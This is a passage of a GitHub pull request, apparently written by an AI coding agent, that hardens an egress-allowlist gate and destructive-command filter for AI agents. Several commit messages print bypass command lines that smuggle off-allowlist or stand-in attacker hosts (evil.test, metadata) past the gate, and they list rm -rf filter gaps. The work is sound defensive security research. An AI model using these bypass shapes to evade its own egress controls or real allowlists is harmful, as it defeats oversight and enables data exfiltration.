fixed shell route WEAKER than the unfixed fetch route for this shape, since the
fetch route denies both forms. It also needs no userinfo semantics from an
attacker: append `?x=a@<allowlisted-host>` to a path-less URL you control.

`afterScheme.search(/[/?#]/)` instead of `indexOf("/")`. `search` answers -1 on
no match, so the -1 branch and the totality contract are untouched. All six
tests from the previous commit still pass; three more cover the query form, the
fragment form, and a userinfo that genuinely sits ahead of a query -- the bound
is where the authority ends, not a blanket refusal to strip.

Also re-scopes the two remaining flat present-tense statements of the
verify-zero-diff freeze, on `hooksWhereEmptyOutputIsDishonest` and its
meta-test. The first is the canonical statement the site re-scoped last commit
defers to, and the first text anyone changing that function reads.

Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
…ar-miss

The runbook published "the shell route is closed here" against a table taken
before the authority bound was fixed, and one of its own rows would have
falsified it. Re-captured from commit 27a4624, on port 8797 -- a fresh Guardian
on its own port, killed by its own PID. All four captured blocks in that
subsection were re-run from the committed tree and diffed against what is
pasted: byte-identical, the trailing space `printf` leaves on two rows
included.

The table now carries five URL forms rather than three. The two new ones are
the query- and fragment-delimited shapes that the first version of the strip
allowed, and they read `shell: deny` now. The `host_of` block carries them too,
and that is where the second, un-closable half shows: `host_of()` bounds the
authority at "/" alone as well, so it answers the whole query string as the
host. Those two rows deny only because no allowlist pattern matches a string
with a "?" in it -- right verdict, wrong host, one layer below anything this
deployment can reach.

The near-miss itself is written down rather than quietly corrected, in the
runbook, the slice README and risk row 26. A normalisation that re-opens the
class it was written to close is worth a reader's time, and this one briefly
made the route it repaired weaker than the route it could not.

Risk row 26 now also carries the upstream ask in the form the measurement
supports: `host_of()` should bound the authority at the first of "/", "?" or
"#" AND cut it at the last "@", before splitting on ":". Measured, it does
neither.

Also corrects the capture provenance, which said "a later commit of this tree"
while the provenance table said the captures came from an uncommitted working
tree. Both now name commit 27a4624, which is where they actually came from.

Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
Three rounds of hand-rolled normalisation produced three distinct bypass
shapes. That is the evidence: the defect was hand-rolling the parse, not the
particular delimiter each round forgot. So the normaliser is gone and
`new URL(...).origin` takes its place.

The shape that survived the last round needs no userinfo and no "@" semantics
at all. `host_of()` bounds the authority at "/" only, so query or fragment text
joins the "host" -- and the allowlist glob's "*" spans one dot-delimited
segment, so it swallows that text WHENEVER THE REAL HOST HAS NO DOT IN IT.
Measured three ways against the shipped allowlist, at the previous commit:
through a live Guardian, through `opa eval` of `host_of` and `deny_egress`, and
through `curl -w '%{url.host}'`:

  curl https://metadata?x=@docs.anthropic.com     ALLOW, curl reaches metadata
  curl https://internal-api#@docs.anthropic.com   ALLOW, curl reaches internal-api
  curl https://evil?x=@docs.anthropic.com         ALLOW, curl reaches evil

Dotless names are internal names, which is the class an egress gate is deployed
for. The two-label forms denied, which is why the last round looked clean.

An origin is scheme, host and port and nothing else. It cannot carry a
userinfo, a query or a fragment by construction, so userinfo, colon-bearing
userinfo, query-delimited authority, fragment-delimited authority and the
dotless-host shape all close as ONE class rather than as five patches. Handing
`https://metadata` to the gate denies -- measured.

`new URL` throws on input it cannot parse, and this function may not: a throw
becomes AGT's `runtime_error:annotation_failed` deny on every call in the
deployment. The throw is caught and answered `{}`, the same answer a command
with no URL in it gets. Total, unchanged: never a throw, never null.

THE ASSERTIONS CHANGED, AND THAT IS A BEHAVIOUR CHANGE RATHER THAN A
WEAKENING. Every test that expected a full URL now expects an origin --
`https://exfil.test` where it used to read `https://exfil.test/steal`, in this
package's annotator suite and in the one server-suite assertion that carries
the destination shape. The gate consults only `host_of(dest)`, so no rule this
deployment runs ever read the path, query or fragment. A deployment that
pointed `cfg.egress.destination_paths` at a rule expecting a whole URL would
notice; this repository ships no such path, and the doc comment says so.

ONE EFFECT IN THE PERMISSIVE DIRECTION, MEASURED AND RECORDED AS ONE. A URL
parse lowercases the host and the allowlist glob is case-sensitive, so
`curl https://DOCS.ANTHROPIC.COM/x` denied before and allows now. That is
correct -- DNS is case-insensitive and the request reaches the allowlisted host
either way -- but it is a widening. Measured both ways, with the two controls
that stop it being read as "case no longer matters": `https://EVIL.TEST/x` and
`https://docs.anthropic.com.evil.test/x` both still deny.

Every case from the two previous rounds is kept, with its expectation updated.
Added: the three dotless-host forms, a fragment variant of one, a port case,
the two case variants, the allowlisted-prefix control, and a scheme-without-host
case pinning that an unparseable match answers `{}` rather than throwing.

Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
…ed twice

The destination this deployment hands the gate is an origin now, and two
runbook blocks published the old string. Both re-captured from commit 0dabe6e,
on port 8799 -- a fresh Guardian on its own port, killed by its own PID. Every
fenced block in section 2's policy-input capture and section 5's mis-parse
subsection was re-run from the committed tree and diffed against what is
pasted: byte-identical.

Section 2's policy-input block now shows `https://exfil.attacker.test` where it
used to show `https://exfil.attacker.test/steal`, and carries a fourth row --
`curl https://metadata?x=@docs.anthropic.com`, whose annotation reads
`{"egress":{"destination":"https://metadata"}}` and whose verdict is a deny
naming `metadata`. That is the clearest place to see an origin arriving at the
gate's own declared path, so it is where the shape that survived two rounds is
shown handled.

Section 5's table carries seven shapes instead of five, and every one of them
reads `shell: deny` -- so "the shell route is closed here" is now checkable
against the rows under it rather than asserted above them. The `host_of` block
carries the two dotless forms, and the paragraph beside it explains the single
dot that separates a deny from an allow: the allowlist glob's `*` spans one
dot-delimited segment, so `evil.test?x=a@docs` `anthropic` `com` is four
segments and fails, while `metadata?x=@docs` `anthropic` `com` is exactly three
and matches.

The fetch column is worse than this file previously said, and now says so:
three shapes read `fetch: allow`, not one. A fetch tool is the likelier route
to an attacker-supplied URL, which is worth stating plainly rather than leaving
to be inferred from a column.

The three rounds are recorded as three rounds, with what each one leaked, and
the two non-denial consequences of the parse are stated where a reader meets
them: destinations are origins, and a URL parse lowercases the host against a
case-sensitive glob -- `https://DOCS.ANTHROPIC.COM/x` denied before and allows
now, with `https://EVIL.TEST/x` and `https://docs.anthropic.com.evil.test/x`
measured as still denying.

Risk row 26 is rewritten around the whole class rather than the colon-bearing
shape, and carries the upstream ask in the form the measurements support:
`host_of()` should bound the authority at the first of "/", "?" or "#" AND cut
it at the last "@" before splitting on ":", and the consequence to lead with is
the dotless host, because that is what turns a parsing nit into an allow for
exactly the internal names egress control exists to protect.

Also makes one pre-existing block byte-exact: the policy-input capture had
dropped the trailing blank line its own script emits.

Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
The stock destructive-command config caught `rm -rf /` and its `-fr` flag
ordering, and nothing else. `rm -rf .` -- and `..`, which is worse -- ran
straight through to allow.

Two patterns appended, mirroring the two already there: the same `rm` plus
run-together recursive/force flags, then `.`, `..`, `./` or `../` terminated
by whitespace or end of string. The terminator is what keeps `rm -rf ./build`,
`rm -rf .git` and `rm -rf .cache/foo` allowed; without it the rule would eat
every dot-prefixed path in the repo.

Appended rather than folded into the existing two on purpose. The deny message
quotes the matched pattern verbatim, and `first_match` breaks an offset tie by
taking the lowest array index, so `rm -rf /` still reports pattern index 0 at
offset 0 -- byte-identical to the deny text captured in the runbooks. Merging
the four into one alternation would have silently rewritten those.

Measured against the vendored matcher with the patterns read from this file as
the policy itself reads them: 8 destructive shapes deny, 5 legitimate ones
allow. No .rego touched -- this is config, and the pin test still holds.

Known gaps, all of which the shipped `/` rule already had and this one now
matches exactly: quoting (`rm -rf "."`), split flags (`rm -r -f .`), long flags,
globs (`rm -rf /*`), and variables (`rm -rf $PWD`). A regex over a raw command
line cannot decide what a shell will do with it; closing those needs a shell
parser, not a longer pattern.

Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
The fourth attempt at this module leaked the shape the first three denied. A
parse of `curl https://docs.anthropic.com\@evil.test/steal` answers the origin
`https://docs.anthropic.com`, which the allowlist covers, because WHATWG ends a
special-scheme authority at a backslash. curl does not, and an unquoted shell
removes the backslash before curl sees it, so curl reaches `evil.test`. That is
an allowlisted answer for an off-allowlist destination -- the first time this
module produced one.

The root cause was never a missing delimiter. Three parsers disagree -- WHATWG,
the gate's own two splits, and curl-after-shell-expansion -- and computing "the
host this will reach" from a pre-shell command line needs a shell parser and
curl's parser, neither of which lives here. Four rounds of trying produced four
bypasses.

So the default is inverted. The module now decides only the authority shapes on
which no parser could disagree -- a plain host, an optional numeric port, ending
at "/", "?", "#" or the token -- and answers everything else with a destination
reserved by RFC 2606 to never resolve, which the gate must deny. `{}` is kept
only for the cases that carry no URL at all, because there `{}` means "no
opinion"; anywhere else it would mean the gate resolves nothing, is undefined,
and the call allows.

Nineteen shapes measured through the real gate logic: every off-allowlist
destination denies, all four allowlisted ones still allow, and a command with no
URL still falls through.

The durable guard is a differential corpus rather than a nineteenth special
case. Eighteen adversarial command lines are pinned against the host curl itself
resolves, measured through a proxy port nothing listens on so no request leaves
the machine, with the script that regenerates them committed alongside. The rule
the corpus asserts is that this module answers curl's host or refuses -- never
some third host, and never an allowlisted one for a destination curl reaches
elsewhere.

One over-block comes with it, and it is asserted rather than discovered:
`https://docs.anthropic%2ecom/x` denies though curl resolves it to
docs.anthropic.com. That is the direction this fails in.

The semicolon fixture was replaced too. Its host was off-allowlist, so it read
the same whether or not the regex stopped at the metacharacter; with an
allowlisted host the two answers differ at the gate.

Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
The shell route now refuses shapes it used to guess at, so every runbook block
that measured it moved. All of them are re-run against a Guardian started from
the committed fix on port 8801, killed afterwards by the PID lsof reported for
that port alone. Nothing hand-edited: each block was extracted from the
committed markdown, re-run, and diffed byte-for-byte.

The sentence "The shell route is closed here -- every one of the seven shapes
above reads shell: deny" has been false twice. The table under it now carries
eighteen rows, fourteen adversarial and four allowlisted controls, and the claim
above it is the one the table supports: the shell route denies all fourteen and
allows all four.

The asymmetry is stated rather than left to be inferred from a column. After
this change the shell route is the stricter of the two: it denies every shape in
the table, while the fetch route allows four of them, because args.url reaches
host_of() with nothing in between and that parser is held byte-identical by
verify:pin. A demo whose story is "two routes, one gate" must not imply one
answer, so the top of the runbook now says so before anything is measured.

Three further things the documents did not say and now do. The over-block:
docs.anthropic%2ecom denies though curl resolves it to an allowlisted host --
recorded beside the echo over-block already there. The message: an ambiguous
input reads "destination unresolved.invalid not in allowlist", which names no
host, with the raw command still in the audit envelope. And the upstream ask,
widened by what the backslash showed -- host_of() should bound the authority at
@, ? and # before splitting on :, and treat a backslash as a host-terminator or
reject it, with the dotless host named as the consequence that makes it a
security report rather than a tidiness one.

Three counts that had no antecedent are now resolvable where they appear. The
slice README said the fetch route allows three of five shapes it enumerates; of
those five it allows two, and there are six shapes now. The root README named
three and five with nothing in that file to resolve either; it now names the
four URLs and the hosts they reach. The risk row's claim that the annotator
"strips the userinfo before answering" describes a mechanism deleted two rounds
ago, and is retracted the way the rest of that row retracts.

Two captured blocks moved for a reason outside this work: a later commit added
two rm patterns to policy/lib/data.json, inside the diff context both blocks
print. Both are re-run rather than trimmed, and the prose now scopes "one key"
to the egress object it always meant.

Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
The runbook names `policy/lib/data.json:12-15` twice as where the shipped
redact block lives. That was true when this slice began and is not true now:
the egress key added three lines above it, and the two relative-path `rm`
patterns added two more. The block sits at 17-20.

Nothing about V3's demo changed -- the diff it captures is pinned to blobs
2530d81 and 40fc006 and still reproduces, and the surrounding prose already
says that diff is the edit V3 made rather than a quotation of the current
file. Only the pointer to the current file had drifted, which is the one part
a reader checks by opening the file.

Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
V5's ungoverned-step entry carries the tool that arrived beside the
tools list that declined it, and both assertions pinned that list as
[bash]. This slice widened the request gate to webfetch, so the shipped
list and the expected one had parted -- and the list is the half of the
entry that makes a tools declaration drifting away from the names a host
really sends visible, so pinning a stale one defeats the entry.

gate-ordering reads it off the Gate fixture rather than a literal, since
that suite runs both gates and they no longer declare the same list.
@afogel
afogel merged commit 0156d78 into main Sep 6, 2026
1 of 2 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

V9: A second tool shape, and the egress gate

1 participant